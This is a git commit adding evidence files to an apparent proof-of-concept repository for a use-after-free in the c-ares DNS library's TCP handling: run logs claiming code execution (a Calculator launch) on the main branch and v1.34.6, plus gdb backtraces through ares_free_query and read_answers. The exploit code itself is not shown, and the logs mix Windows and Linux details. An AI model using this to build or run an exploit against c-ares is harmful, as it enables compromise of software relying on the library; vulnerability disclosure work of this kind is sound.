Upload files to "c-ares-tcp-uaf-calc-poc/evidence"

2026-06-29 16:36:50 +00:00
parent 3584cf8abd
commit 0b554df421
3 changed files with 51 additions and 0 deletions
@@ -0,0 +1,14 @@
+c-ares upstream main
+commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
+result: run=1 rc=77
+stderr: CARES_RCE_PAYLOAD_TRIGGERED
+marker: c-ares control-flow payload reached pid=6188
+desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
+
+c-ares latest official release
+tag: v1.34.6
+commit: 3ac47ee46edd8ea40370222f91613fc16c434853
+result: run=1 rc=77
+stderr: CARES_RCE_PAYLOAD_TRIGGERED
+marker: c-ares control-flow payload reached pid=3606
+desktop: CalculatorApp.exe started, ApplicationFrameHost title=Calculator
@@ -0,0 +1,18 @@
+Target: c-ares upstream main
+Commit: c93e50f3ebc0373fe57677523ec960f6c1cb0e15
+
+Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
+
+#0  proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
+#1  0x0000000000418273 in ares_slist_node_destroy (node=0x5444b0) at c-ares-main/src/lib/dsa/ares_slist.c:461
+#2  0x0000000000409606 in ares_query_remove_from_conn (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:72
+#3  0x000000000040bd1f in ares_detach_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1474
+#4  0x000000000040be2c in ares_free_query (query=0x52daf0) at c-ares-main/src/lib/ares_process.c:1512
+#5  0x000000000040a78c in read_answers (conn=0x52f830, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:656
+#6  0x000000000040a86d in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-main/src/lib/ares_process.c:688
+#7  0x0000000000409a68 in ares_process_fds_nolock (channel=0x528ab0, events=0x530360, nevents=1, flags=0) at c-ares-main/src/lib/ares_process.c:214
+#8  0x0000000000409fdb in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-main/src/lib/ares_process.c:367
+#9  0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
+
+rip            0x401d8b            0x401d8b <proof_marker+22>
+rdi            0x544440            5522496
@@ -0,0 +1,19 @@
+Target: c-ares latest official release
+Tag: v1.34.6
+Commit: 3ac47ee46edd8ea40370222f91613fc16c434853
+
+Thread 1 "cares_tcp_uaf_" hit Breakpoint 1, proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
+
+#0  proof_marker (arg=0x544440) at poc/cares_tcp_uaf_calc_poc.c:64
+#1  0x00000000004180c5 in ares_slist_node_destroy (node=0x5444b0) at c-ares-v1.34.6/src/lib/dsa/ares_slist.c:461
+#2  0x00000000004095e7 in ares_query_remove_from_conn (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:73
+#3  0x000000000040bd0f in ares_detach_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1460
+#4  0x000000000040be1c in ares_free_query (query=0x52dad0) at c-ares-v1.34.6/src/lib/ares_process.c:1498
+#5  0x000000000040a818 in read_answers (conn=0x52f810, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:655
+#6  0x000000000040a8e0 in process_read (channel=0x528ab0, read_fd=3, now=0x7fffffffdee0) at c-ares-v1.34.6/src/lib/ares_process.c:691
+#7  0x0000000000409b32 in ares_process_fds_nolock (channel=0x528ab0, events=0x5303a0, nevents=1, flags=0) at c-ares-v1.34.6/src/lib/ares_process.c:227
+#8  0x000000000040a0a5 in ares_process (channel=0x528ab0, read_fds=0x7fffffffe0b0, write_fds=0x7fffffffe130) at c-ares-v1.34.6/src/lib/ares_process.c:380
+#9  0x000000000040324c in main (argc=2, argv=0x7fffffffe318) at poc/cares_tcp_uaf_calc_poc.c:488
+
+rip            0x401d8b            0x401d8b <proof_marker+22>
+rdi            0x544440            5522496